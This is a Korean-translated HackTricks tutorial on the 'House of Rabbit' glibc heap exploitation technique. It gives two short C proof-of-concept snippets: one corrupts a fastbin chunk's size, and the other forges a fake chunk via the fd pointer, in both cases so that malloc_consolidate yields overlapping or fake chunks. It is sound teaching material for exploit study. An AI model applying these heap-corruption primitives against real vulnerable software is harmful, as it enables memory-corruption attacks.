House of Rabbit

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Requirements

  1. ๋น ๋ฅธ ๋นˆ fd ํฌ์ธํ„ฐ ๋˜๋Š” ํฌ๊ธฐ๋ฅผ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ๋Š” ๋Šฅ๋ ฅ: ์ด๋Š” ๋น ๋ฅธ ๋นˆ์˜ ์ฒญํฌ์˜ ์ „๋ฐฉ ํฌ์ธํ„ฐ ๋˜๋Š” ํฌ๊ธฐ๋ฅผ ๋ณ€๊ฒฝํ•  ์ˆ˜ ์žˆ์Œ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค.
  2. malloc_consolidate๋ฅผ ํŠธ๋ฆฌ๊ฑฐํ•  ์ˆ˜ ์žˆ๋Š” ๋Šฅ๋ ฅ: ์ด๋Š” ํฐ ์ฒญํฌ๋ฅผ ํ• ๋‹นํ•˜๊ฑฐ๋‚˜ ์ƒ๋‹จ ์ฒญํฌ๋ฅผ ๋ณ‘ํ•ฉํ•˜์—ฌ ํž™์ด ์ฒญํฌ๋ฅผ ํ†ตํ•ฉํ•˜๋„๋ก ๊ฐ•์ œํ•จ์œผ๋กœ์จ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Goals

  1. ๊ฒน์น˜๋Š” ์ฒญํฌ ๋งŒ๋“ค๊ธฐ: ํ•˜๋‚˜์˜ ์ฒญํฌ๊ฐ€ ๋‹ค๋ฅธ ์ฒญํฌ์™€ ๊ฒน์น˜๋„๋ก ํ•˜์—ฌ ์ถ”๊ฐ€์ ์ธ ํž™ ์กฐ์ž‘์„ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.
  2. ๊ฐ€์งœ ์ฒญํฌ ์œ„์กฐํ•˜๊ธฐ: ํ• ๋‹น์ž๋ฅผ ์†์—ฌ ํž™ ์ž‘์—… ์ค‘์— ๊ฐ€์งœ ์ฒญํฌ๋ฅผ ํ•ฉ๋ฒ•์ ์ธ ์ฒญํฌ๋กœ ์ทจ๊ธ‰ํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.

Steps of the attack

POC 1: ๋น ๋ฅธ ๋นˆ ์ฒญํฌ์˜ ํฌ๊ธฐ ์ˆ˜์ •

๋ชฉํ‘œ: ๋น ๋ฅธ ๋นˆ ์ฒญํฌ์˜ ํฌ๊ธฐ๋ฅผ ์กฐ์ž‘ํ•˜์—ฌ ๊ฒน์น˜๋Š” ์ฒญํฌ๋ฅผ ๋งŒ๋“ญ๋‹ˆ๋‹ค.

  • 1๋‹จ๊ณ„: ์ฒญํฌ ํ• ๋‹น
unsigned long* chunk1 = malloc(0x40);  // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x40);  // Allocates another chunk of 0x40 bytes at 0x602050
malloc(0x10);                          // Allocates a small chunk to change the fastbin state

์šฐ๋ฆฌ๋Š” ๊ฐ๊ฐ 0x40 ๋ฐ”์ดํŠธ ํฌ๊ธฐ์˜ ๋‘ ๊ฐœ์˜ ์ฒญํฌ๋ฅผ ํ• ๋‹นํ•ฉ๋‹ˆ๋‹ค. ์ด ์ฒญํฌ๋Š” ํ•ด์ œ๋˜๋ฉด ๋น ๋ฅธ ๋นˆ ๋ชฉ๋ก์— ๋ฐฐ์น˜๋ฉ๋‹ˆ๋‹ค.

  • 2๋‹จ๊ณ„: ์ฒญํฌ ํ•ด์ œ
free(chunk1);  // Frees the chunk at 0x602000
free(chunk2);  // Frees the chunk at 0x602050

๋‘ ์ฒญํฌ๋ฅผ ํ•ด์ œํ•˜์—ฌ fastbin ๋ชฉ๋ก์— ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค.

  • 3๋‹จ๊ณ„: ์ฒญํฌ ํฌ๊ธฐ ์ˆ˜์ •
chunk1[-1] = 0xa1;  // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])

chunk1์˜ ํฌ๊ธฐ ๋ฉ”ํƒ€๋ฐ์ดํ„ฐ๋ฅผ 0xa1๋กœ ๋ณ€๊ฒฝํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ํ†ตํ•ฉ ์ค‘์— ํ• ๋‹น์ž๋ฅผ ์†์ด๋Š” ์ค‘์š”ํ•œ ๋‹จ๊ณ„์ž…๋‹ˆ๋‹ค.

  • 4๋‹จ๊ณ„: malloc_consolidate ํŠธ๋ฆฌ๊ฑฐ
malloc(0x1000);  // Allocate a large chunk to trigger heap consolidation

ํฐ ์ฒญํฌ๋ฅผ ํ• ๋‹นํ•˜๋ฉด malloc_consolidate ํ•จ์ˆ˜๊ฐ€ ํ˜ธ์ถœ๋˜์–ด ๋น ๋ฅธ ๋นˆ์˜ ์ž‘์€ ์ฒญํฌ๊ฐ€ ๋ณ‘ํ•ฉ๋ฉ๋‹ˆ๋‹ค. ์กฐ์ž‘๋œ chunk1์˜ ํฌ๊ธฐ๋กœ ์ธํ•ด chunk1์ด chunk2์™€ ๊ฒน์น˜๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

๋ณ‘ํ•ฉ ํ›„, chunk1์€ chunk2์™€ ๊ฒน์ณ ์ถ”๊ฐ€์ ์ธ ์•…์šฉ์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

POC 2: fd ํฌ์ธํ„ฐ ์ˆ˜์ •

๋ชฉํ‘œ: ๋น ๋ฅธ ๋นˆ fd ํฌ์ธํ„ฐ๋ฅผ ์กฐ์ž‘ํ•˜์—ฌ ๊ฐ€์งœ ์ฒญํฌ๋ฅผ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค.

  • 1๋‹จ๊ณ„: ์ฒญํฌ ํ• ๋‹น
unsigned long* chunk1 = malloc(0x40);  // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050

์„ค๋ช…: ์šฐ๋ฆฌ๋Š” ๊ฐ€์งœ ์ฒญํฌ๋ฅผ ์„ค์ •ํ•˜๊ธฐ ์œ„ํ•ด ํ•˜๋‚˜๋Š” ๋” ์ž‘๊ณ  ํ•˜๋‚˜๋Š” ๋” ํฐ ๋‘ ๊ฐœ์˜ ์ฒญํฌ๋ฅผ ํ• ๋‹นํ•ฉ๋‹ˆ๋‹ค.

  • ๋‹จ๊ณ„ 2: ๊ฐ€์งœ ์ฒญํฌ ๋งŒ๋“ค๊ธฐ
chunk2[1] = 0x31;  // Fake chunk size 0x30
chunk2[7] = 0x21;  // Next fake chunk
chunk2[11] = 0x21; // Next-next fake chunk

chunk2์— ๊ฐ€์งœ ์ฒญํฌ ๋ฉ”ํƒ€๋ฐ์ดํ„ฐ๋ฅผ ์ž‘์„ฑํ•˜์—ฌ ๋” ์ž‘์€ ์ฒญํฌ๋ฅผ ์‹œ๋ฎฌ๋ ˆ์ด์…˜ํ•ฉ๋‹ˆ๋‹ค.

  • 3๋‹จ๊ณ„: chunk1 ํ•ด์ œ
free(chunk1);  // Frees the chunk at 0x602000

์„ค๋ช…: ์šฐ๋ฆฌ๋Š” chunk1์„ ํ•ด์ œํ•˜์—ฌ fastbin ๋ชฉ๋ก์— ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค.

  • ๋‹จ๊ณ„ 4: chunk1์˜ fd ์ˆ˜์ •
chunk1[0] = 0x602060;  // Modify the fd of chunk1 to point to the fake chunk within chunk2

์„ค๋ช…: ์šฐ๋ฆฌ๋Š” chunk1์˜ ํฌ์›Œ๋“œ ํฌ์ธํ„ฐ(fd)๋ฅผ chunk2 ๋‚ด๋ถ€์˜ ๊ฐ€์งœ ์ฒญํฌ๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋„๋ก ๋ณ€๊ฒฝํ•ฉ๋‹ˆ๋‹ค.

  • ๋‹จ๊ณ„ 5: malloc_consolidate ํŠธ๋ฆฌ๊ฑฐํ•˜๊ธฐ
malloc(5000);  // Allocate a large chunk to trigger heap consolidation

ํฐ ์ฒญํฌ๋ฅผ ๋‹ค์‹œ ํ• ๋‹นํ•˜๋ฉด malloc_consolidate๊ฐ€ ํŠธ๋ฆฌ๊ฑฐ๋˜์–ด ๊ฐ€์งœ ์ฒญํฌ๋ฅผ ์ฒ˜๋ฆฌํ•ฉ๋‹ˆ๋‹ค.

๊ฐ€์งœ ์ฒญํฌ๋Š” fastbin ๋ชฉ๋ก์˜ ์ผ๋ถ€๊ฐ€ ๋˜์–ด ์ถ”๊ฐ€์ ์ธ ์•…์šฉ์„ ์œ„ํ•œ ํ•ฉ๋ฒ•์ ์ธ ์ฒญํฌ๊ฐ€ ๋ฉ๋‹ˆ๋‹ค.

์š”์•ฝ

House of Rabbit ๊ธฐ๋ฒ•์€ fast bin ์ฒญํฌ์˜ ํฌ๊ธฐ๋ฅผ ์ˆ˜์ •ํ•˜์—ฌ ๊ฒน์น˜๋Š” ์ฒญํฌ๋ฅผ ์ƒ์„ฑํ•˜๊ฑฐ๋‚˜ fd ํฌ์ธํ„ฐ๋ฅผ ์กฐ์ž‘ํ•˜์—ฌ ๊ฐ€์งœ ์ฒญํฌ๋ฅผ ์ƒ์„ฑํ•˜๋Š” ๊ฒƒ์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. ์ด๋ฅผ ํ†ตํ•ด ๊ณต๊ฒฉ์ž๋Š” ํž™์—์„œ ํ•ฉ๋ฒ•์ ์ธ ์ฒญํฌ๋ฅผ ์œ„์กฐํ•  ์ˆ˜ ์žˆ์–ด ๋‹ค์–‘ํ•œ ํ˜•ํƒœ์˜ ์•…์šฉ์ด ๊ฐ€๋Šฅํ•ด์ง‘๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๋‹จ๊ณ„๋ฅผ ์ดํ•ดํ•˜๊ณ  ์—ฐ์Šตํ•˜๋ฉด ํž™ ์•…์šฉ ๊ธฐ์ˆ ์ด ํ–ฅ์ƒ๋ฉ๋‹ˆ๋‹ค.

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ